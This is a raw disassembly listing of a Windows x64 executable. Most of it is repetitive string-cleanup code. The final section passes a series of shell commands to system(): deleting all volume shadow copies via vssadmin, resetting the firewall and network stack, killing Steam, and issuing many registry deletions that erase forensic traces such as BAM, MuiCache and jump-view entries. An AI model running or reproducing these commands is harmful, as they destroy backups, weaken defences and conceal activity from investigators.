mov qword [rbp + 0x6a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x690], r12b
cmp rdx, 0xf
jbe 0x14005e4ef
mov rcx, qword [rbp + 0x6b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e4ea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x6e8]
mov qword [rbp + 0x6c0], r12
mov qword [rbp + 0x6c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6b0], r12b
cmp rdx, 0xf
jbe 0x14005e549
mov rcx, qword [rbp + 0x6d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e544
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x708]
mov qword [rbp + 0x6e0], r12
mov qword [rbp + 0x6e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6d0], r12b
cmp rdx, 0xf
jbe 0x14005e5a3
mov rcx, qword [rbp + 0x6f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e59e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x728]
mov qword [rbp + 0x700], r12
mov qword [rbp + 0x708], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6f0], r12b
cmp rdx, 0xf
jbe 0x14005e5fd
mov rcx, qword [rbp + 0x710]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e5f8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x748]
mov qword [rbp + 0x720], r12
mov qword [rbp + 0x728], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x710], r12b
cmp rdx, 0xf
jbe 0x14005e657
mov rcx, qword [rbp + 0x730]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e652
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x768]
mov qword [rbp + 0x740], r12
mov qword [rbp + 0x748], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x730], r12b
cmp rdx, 0xf
jbe 0x14005e6b1
mov rcx, qword [rbp + 0x750]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e6ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x788]
mov qword [rbp + 0x760], r12
mov qword [rbp + 0x768], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x750], r12b
cmp rdx, 0xf
jbe 0x14005e70b
mov rcx, qword [rbp + 0x770]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e706
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x7a8]
mov qword [rbp + 0x780], r12
mov qword [rbp + 0x788], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x770], r12b
cmp rdx, 0xf
jbe 0x14005e765
mov rcx, qword [rbp + 0x790]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e760
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a0], r12
mov qword [rbp + 0x7a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x790], r12b
cmp rdx, 0xf
jbe 0x14005e7bf
mov rcx, qword [rbp + 0x7b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e7ba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x7e8]
mov qword [rbp + 0x7c0], r12
mov qword [rbp + 0x7c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7b0], r12b
cmp rdx, 0xf
jbe 0x14005e819
mov rcx, qword [rbp + 0x7d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e814
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x808]
mov qword [rbp + 0x7e0], r12
mov qword [rbp + 0x7e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7d0], r12b
cmp rdx, 0xf
jbe 0x14005e873
mov rcx, qword [rbp + 0x7f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e86e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x828]
mov qword [rbp + 0x800], r12
mov qword [rbp + 0x808], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7f0], r12b
cmp rdx, 0xf
jbe 0x14005e8cd
mov rcx, qword [rbp + 0x810]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e8c8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x848]
mov qword [rbp + 0x820], r12
mov qword [rbp + 0x828], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x810], r12b
cmp rdx, 0xf
jbe 0x14005e927
mov rcx, qword [rbp + 0x830]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e922
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x868]
mov qword [rbp + 0x840], r12
mov qword [rbp + 0x848], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x830], r12b
cmp rdx, 0xf
jbe 0x14005e981
mov rcx, qword [rbp + 0x850]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e97c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x888]
mov qword [rbp + 0x860], r12
mov qword [rbp + 0x868], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x850], r12b
cmp rdx, 0xf
jbe 0x14005e9db
mov rcx, qword [rbp + 0x870]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e9d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x8a8]
mov qword [rbp + 0x880], r12
mov qword [rbp + 0x888], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x870], r12b
cmp rdx, 0xf
jbe 0x14005ea35
mov rcx, qword [rbp + 0x890]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ea30
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x8c8]
mov qword [rbp + 0x8a0], r12
mov qword [rbp + 0x8a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x890], r12b
cmp rdx, 0xf
jbe 0x14005ea8f
mov rcx, qword [rbp + 0x8b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ea8a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x8e8]
mov qword [rbp + 0x8c0], r12
mov qword [rbp + 0x8c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8b0], r12b
cmp rdx, 0xf
jbe 0x14005eae9
mov rcx, qword [rbp + 0x8d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eae4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x908]
mov qword [rbp + 0x8e0], r12
mov qword [rbp + 0x8e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8d0], r12b
cmp rdx, 0xf
jbe 0x14005eb43
mov rcx, qword [rbp + 0x8f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb3e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x4e8]
mov qword [rbp + 0x900], r12
mov qword [rbp + 0x908], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8f0], r12b
cmp rdx, 0xf
jbe 0x14005eb9d
mov rcx, qword [rbp + 0x4d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eb98
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x928]
mov qword [rbp + 0x4e0], r12
mov qword [rbp + 0x4e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4d0], r12b
cmp rdx, 0xf
jbe 0x14005ebf7
mov rcx, qword [rbp + 0x910]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ebf2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x4c8]
mov qword [rbp + 0x920], r12
mov qword [rbp + 0x928], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x910], r12b
cmp rdx, 0xf
jbe 0x14005ec51
mov rcx, qword [rbp + 0x4b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ec4c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x2a0]
mov qword [rbp + 0x4c0], r12
mov qword [rbp + 0x4c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4b0], r12b
cmp rdx, 0xf
jbe 0x14005ecab
mov rcx, qword [rbp + 0x288]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eca6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x280]
mov qword [rbp + 0x298], r12
mov qword [rbp + 0x2a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x288], r12b
cmp rdx, 0xf
jbe 0x14005ed05
mov rcx, qword [rbp + 0x268]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ed00
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x278], r12
mov qword [rbp + 0x280], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x268], r12b
cmp rdx, 0xf
jbe 0x14005ed5f
mov rcx, qword [rbp + 0x120]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ed5a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp - 8]
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x120], r12b
cmp rdx, 0xf
jbe 0x14005edb3
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005edae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp - 0x28]
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], r12b
cmp rdx, 0xf
jbe 0x14005edfe
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005edf9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp - 0x48]
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x40], r12b
cmp rdx, 0xf
jbe 0x14005ee49
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ee44
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x88]
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], r12b
cmp rdx, 0xf
jbe 0x14005ee97
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ee92
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x488]
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x70], r12b
cmp rdx, 0xf
jbe 0x14005eeee
mov rcx, qword [rbp + 0x470]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eee9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x468]
mov qword [rbp + 0x480], r12
mov qword [rbp + 0x488], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x470], r12b
cmp rdx, 0xf
jbe 0x14005ef48
mov rcx, qword [rbp + 0x450]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ef43
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x448]
mov qword [rbp + 0x460], r12
mov qword [rbp + 0x468], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x450], r12b
cmp rdx, 0xf
jbe 0x14005efa2
mov rcx, qword [rbp + 0x430]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ef9d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x428]
mov qword [rbp + 0x440], r12
mov qword [rbp + 0x448], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x430], r12b
cmp rdx, 0xf
jbe 0x14005effc
mov rcx, qword [rbp + 0x410]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005eff7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x408]
mov qword [rbp + 0x420], r12
mov qword [rbp + 0x428], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x410], r12b
cmp rdx, 0xf
jbe 0x14005f056
mov rcx, qword [rbp + 0x3f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f051
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x3e8]
mov qword [rbp + 0x400], r12
mov qword [rbp + 0x408], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3f0], r12b
cmp rdx, 0xf
jbe 0x14005f0b0
mov rcx, qword [rbp + 0x3d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f0ab
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x368]
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3d0], r12b
cmp rdx, 0xf
jbe 0x14005f10a
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f105
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x3c8]
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x350], r12b
cmp rdx, 0xf
jbe 0x14005f164
mov rcx, qword [rbp + 0x3b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f15f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x3a8]
mov qword [rbp + 0x3c0], r12
mov qword [rbp + 0x3c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3b0], r12b
cmp rdx, 0xf
jbe 0x14005f1be
mov rcx, qword [rbp + 0x390]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f1b9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x4a8]
mov qword [rbp + 0x3a0], r12
mov qword [rbp + 0x3a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x390], r12b
cmp rdx, 0xf
jbe 0x14005f218
mov rcx, qword [rbp + 0x490]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f213
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x388]
mov qword [rbp + 0x4a0], r12
mov qword [rbp + 0x4a8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x490], r12b
cmp rdx, 0xf
jbe 0x14005f272
mov rcx, qword [rbp + 0x370]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f26d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
mov rdx, qword [rbp + 0x48]
mov qword [rbp + 0x380], r12
mov qword [rbp + 0x388], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x370], r12b
cmp rdx, 0xf
jbe 0x14005f2c6
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005f2c1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140060440
call fcn.140135884
movss xmm7, dword [rbp + 0xfc]
jmp 0x14005f2de
lea rdi, [0x140379950]
lea rsi, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
cmp byte [0x14037952c], r12b
jne 0x14006044e
cmp byte [0x14037951e], r12b
je 0x14005f73c
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14004e780
lea rbx, [0x140379690]
nop
mov dword [rbp + 0xb], 0x1e12
mov rcx, r12
mov byte [rbp + 0xf], r13b
nop
lea eax, [rcx + 0x71]
xor byte [rbp + rcx + 0xb], al
inc rcx
cmp rcx, 3
jb 0x14005f320
lea rcx, [rbp + 0xb]
mov byte [rbp + 0xf], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005f34b
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, r12
mov dword [rbp + 0x10], 0x1e12
mov byte [rbp + 0x14], r13b
nop
lea eax, [rcx + 0x71]
xor byte [rbp + rcx + 0x10], al
inc rcx
cmp rcx, 3
jb 0x14005f360
lea rcx, [rbp + 0x10]
mov byte [rbp + 0x14], r12b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005f310
lea rcx, str.sc_stop_winmgmt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_start_winmgmt__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt__y__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ipconfig__flushdns__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ip_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_reset_all__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ipv4_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_int_ipv6_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_advfirewall_reset__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.netsh_winsock_reset_catalog__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_vssadmin_delete_shadows__all__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_off___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_Steam.exe__t___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.set_hostspath_windir_System32driversetchosts___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSLicensingHardwareID__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSLicensingStore__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareWinRARArcHistory__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettingsS_1_5_21_1282084573_1681065996_3115981261_1001__va__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareWinRARArcHistory__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFeatureUsageShowJumpView__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettingsS_1_5_21_332004695_2829936588_140372829_1002__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CLASSES_ROOTLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareClassesLocal_SettingsSoftwareMicrosoftWindowsShellMuiCache__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFeatureUsageAppSwitched__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.REG_DELETE_HKEY_LOCAL_MACHINESYSTEMControlSet001Services_bamStateUserSettingsS_1_5_21_1282084573_1681065996_3115981261_1001__f___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cls___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
